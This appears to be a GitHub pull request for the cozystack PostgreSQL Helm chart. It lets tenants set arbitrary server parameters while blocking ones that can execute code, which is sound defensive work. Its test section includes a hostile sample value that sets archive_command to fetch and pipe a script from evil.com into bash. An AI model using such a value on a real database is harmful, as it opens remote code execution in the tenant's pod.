(RCE surface). ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * PostgreSQL parameters now accept integer or string values; integers are automatically coerced to strings. * **Security** * Enhanced parameter filtering blocks additional dangerous settings: archive_cleanup_command and recovery_end_command. * **Documentation** * Updated docs and charts to describe int-or-string parameter support and revised blocked-parameter guidance. <!-- review_stack_entry_start --> [](https://app.coderabbit.ai/change-stack/cozystack/cozystack/pull/2687?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack) <!-- review_stack_entry_end --> <!-- end of auto-generated comment: release notes by coderabbit.ai -->
%5D(https%3A%2F%2Fapp.coderabbit.ai%2Fchange-stack%2Fcozystack%2Fcozystack%2Fpull%2F2687%3Futm_source%3Dgithub_walkthrough%26amp%3Butm_medium%3Dgithub%26amp%3Butm_campaign%3Dchange_stack){kind=link}
2 participants
Summary
Enable configuration of any PostgreSQL server parameter through `postgresql.parameters`, not just `max_connections`, with built-in security protection against dangerous parameters.
Problem
Previously, the Postgres application only applied `max_connections` from `postgresql.parameters`. All other standard PostgreSQL parameters (e.g., `bgwriter_delay`, `commit_delay`, `shared_buffers`) were silently ignored.
This limitation existed because:
CloudNativePG supports any PostgreSQL parameter, so this restriction was artificial.
Solution
Changed `postgresql.parameters` from a struct with a single field to `map[string]string`:
Security Features
Blocked parameters (will fail deployment with clear error):
The real risk is arbitrary code execution (shell commands or .so loading) as the `postgres` user inside the tenant's pod.
Key Features
Testing
Verified with `helm template`:
Basic parameters work:
```yaml
postgresql:
parameters:
max_connections: "200"
shared_buffers: "1GB"
work_mem: "256MB"
```
Dangerous parameters are blocked:
```yaml
postgresql:
parameters:
archive_command: "curl http://evil.com/shell.sh | bash"
```
Results in: `SECURITY: Parameter 'archive_command' is blocked. This parameter can enable arbitrary code execution and must not be set by tenants.`
Override defaults:
```yaml
postgresql:
parameters:
max_wal_senders: "50" # Overrides default "30"
```
All values are converted to strings as required by CloudNativePG.
Breaking Changes
`postgresql.parameters.max_connections` now expects a string value (`"100"`) instead of integer, as `postgresql.parameters` is now a `map[string]string`.
Impact: Existing HelmReleases with `parameters.max_connections: 100` (unquoted integer — which the old schema required) will fail Helm schema validation on upgrade with `got number, want string`.
Migration: Quote all parameter values before upgrading:
```yaml
Before
postgresql:
parameters:
max_connections: 100
After
postgresql:
parameters:
max_connections: "100"
```